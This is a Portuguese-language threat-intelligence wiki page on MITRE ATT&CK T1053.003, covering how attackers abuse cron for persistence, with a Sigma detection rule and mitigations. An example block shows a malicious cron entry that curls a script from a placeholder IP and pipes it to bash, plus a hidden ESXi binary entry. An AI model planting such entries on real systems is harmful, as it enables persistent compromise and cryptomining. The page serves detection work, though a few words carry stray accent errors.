# T1053.003 - Cron
## Técnica Pai
Esta é uma sub-técnica de [[Job]].
## Descrição
O `cron` é o agendador de tarefas padrão em sistemas Unix-like, presente em práticamente todas as distribuições Linux, macOS e em ambientes ESXi. Ele permite que usuários e o próprio sistema operacional executem comandos ou scripts em horários específicos - diariamente, semanalmente ou em intervalos arbitrários definidos por uma sintaxe de cinco campos. As entradas de agendamento ficam registradas em arquivos `crontab`, cujos caminhos variam conforme o sistema: `/etc/cron.d/`, `/var/spool/cron/crontabs/`, `/etc/cron.daily/`, entre outros.
Adversários abusam do `cron` para garantir [[ta0003-persistence|persistência]] em sistemas comprometidos: ao inserir uma entrada maliciosa no crontab, o código do atacante é reexecutado automaticamente em intervalos regulares, sem depender de interação do usuário ou de processos persistentes que possam ser facilmente detectados. A técnica é especialmente eficaz porque o daemon `crond` é um processo de sistema de alta confiança, raramente bloqueado por soluções de segurança baseadas em allowlisting.
Variações comuns incluem a criação de entradas no crontab do root via `/etc/cron.d/` (que persiste mesmo após rotação de chaves SSH), o uso de scripts em `/etc/cron.daily/` ou `/etc/cron.hourly/` para misturar código malicioso com tarefas de manutenção legítimas, e - em ambientes ESXi - a edição direta do arquivo `/var/spool/cron/crontabs/root` para sobreviver a reinicializações do hipervisor. Malwares como [[s0374-speakup|SpeakUp]], [[s0599-kinsing|Kinsing]], [[s0468-skidmap|Skidmap]] e [[s0341-xbash|Xbash]] utilizam extensivamente o cron para manter mineradores de criptomoeda rodando continuamente.
**Contexto Brasil/LATAM:** O abuso de cron é uma das técnicas de persistência mais observadas em incidentes de cryptomining e intrusões a servidores Linux no Brasil. Servidores web expostos, instâncias de nuvem mal configuradas e sistemas legados sem atualização regular são os vetores de entrada mais comuns. O grupo [[g0106-rocke|Rocke]], com histórico de ataques a ambientes cloud na região, utiliza entradas de cron para reiniciar mineradores removidos por administradores, tornando a erradicação muito mais trabalhosa sem uma resposta a incidentes estruturada.
## Attack Flow
```mermaid
graph TB
A[Acesso Inicial / RCE] --> B[T1053.003 - Cron Malicioso]
B --> C[Persistência Garantida]
C --> DReconhecimento Interno]
D --> E[Cryptomining ou Backdoor]
```
## Como Funciona
**1. Preparação**
O adversário obtém execução de código no sistema-alvo - via exploração de aplicação web, credenciais SSH comprometidas ou movimento lateral. Com acesso de escrita ao crontab do usuário corrente (ou root), é possível inserir uma nova entrada de agendamento.
**2. Execução**
O atacante edita o crontab diretamente (`crontab -e` ou escrita direta no arquivo) ou deposita um script em um dos diretórios periódicos do cron (`/etc/cron.d/`, `/etc/cron.hourly/`). A entrada define o intervalo de execução e o comando a rodar - geralmente um download de payload remoto, execução de minerador ou manutenção de backdoor reverso.
Em ambientes ESXi, onde não há editor interativo disponível na mesma forma, o arquivo `/var/spool/cron/crontabs/root` é editado diretamente. Como o ESXi tem sistema de arquivos volátil, é comum que o atacante combine a entrada de cron com um script de inicialização (`/etc/rc.local.d/local.sh`) para garantir que a entrada sejá recriada após reinicializações.
**3. Pós-execução**
Com o cron ativo, o payload é reexecutado periodicamente. Mesmo que o processo malicioso sejá encerrado manualmente ou o arquivo de payload removido, o cron tenta rebaixá-lo no próximo ciclo. Grupos como [[g0082-apt38|APT38]] e [[g1023-apt5|APT5]] usam essa técnica em conjunto com [[t1070-indicator-removal|remoção de indicadores]] para dificultar análise forense.
**Exemplo - artefato de detecção:**
```bash
# Entrada maliciosa típica em /etc/cron.d/sysupdaté
# Executa a cada minuto, baixa e executa payload remoto
* * * * * root curl -fsSL http://203.0.113.10/updaté.sh | bash
# Em ESXi - /var/spool/cron/crontabs/root
*/5 * * * * /tmp/.vmtools 2>/dev/null
# Artefato no syslog após execução pelo crond:
# CROND[1234]: (root) CMD (curl -fsSL http://203.0.113.10/updaté.sh | bash)
```
## Detecção
**Fontes de dados:** `/var/log/syslog`, `/var/log/cron`, `/var/log/messages` (entradas `CROND`), auditoria de modificações em arquivos crontab via `auditd` (syscall `inotify`/`openat`), logs de processo via EDR (parent process `crond` com filho suspeito).
```yaml
title: Modificação de Arquivo Crontab do Sistema
id: a9c3e751-2f6b-4d08-b134-7e8f0c9d4512
status: experimental
description: Detecta escrita direta em arquivos crontab do sistema ou em diretórios de tarefas periódicas, indicando possível inserção de persistência via cron
logsource:
category: file_event
product: linux
detection:
selection_crontab_files:
TargetFilename|startswith:
- "/etc/cron.d/"
- "/etc/cron.daily/"
- "/etc/cron.hourly/"
- "/etc/cron.weekly/"
- "/etc/crontab"
- "/var/spool/cron/crontabs/"
filter_package_managers:
Image|endswith:
- "/dpkg"
- "/rpm"
- "/yum"
- "/apt"
condition: selection_crontab_files and not filter_package_managers
falsepositives:
- Instalação legítima de pacotes via gerenciador de pacotes
- Scripts de configuração de infraestrutura (Ansible, Chef, Puppet)
- Ferramentas de monitoramento que criam entradas de cron próprias
level: medium
tags:
- attack.execution
- attack.persistence
- attack.t1053.003
```
## Mitigação
| Mitigação | Recomendação Prática |
|-----------|---------------------|
| [[m1047-audit\|M1047 - Audit]] | Monitorar continuamente modificações em arquivos crontab com `auditd`; configurar regras de watch em `/etc/cron.d/`, `/etc/crontab` e `/var/spool/cron/crontabs/`; revisar periodicamente as entradas de cron de todos os usuários privilegiados com `crontab -l -u <usuario>` |
| [[m1018-user-account-management\|M1018 - User Account Management]] | Restringir a criação de entradas de cron a usuários específicos via `/etc/cron.allow` e `/etc/cron.deny`; garantir que contas de serviço e aplicações não tenham permissão para editar crontabs de sistema; em ESXi, proteger `/var/spool/cron/crontabs/root` com monitoramento de integridade de arquivos |
| [[m1022-restrict-file-and-directory-permissions\|M1022 - Restrict File and Directory Permissions]] | Aplicar permissões restritivas nos diretórios de cron do sistema (`chmod 700` em `/etc/cron.d/`); verificar que apenas root pode escrever nos diretórios de tarefas periódicas; auditar ownership de scripts em `/etc/cron.daily/` e similares |
## Referências
*Fonte: [MITRE ATT&CK - T1053.003](https://attack.mitre.org/techniques/T1053/003)*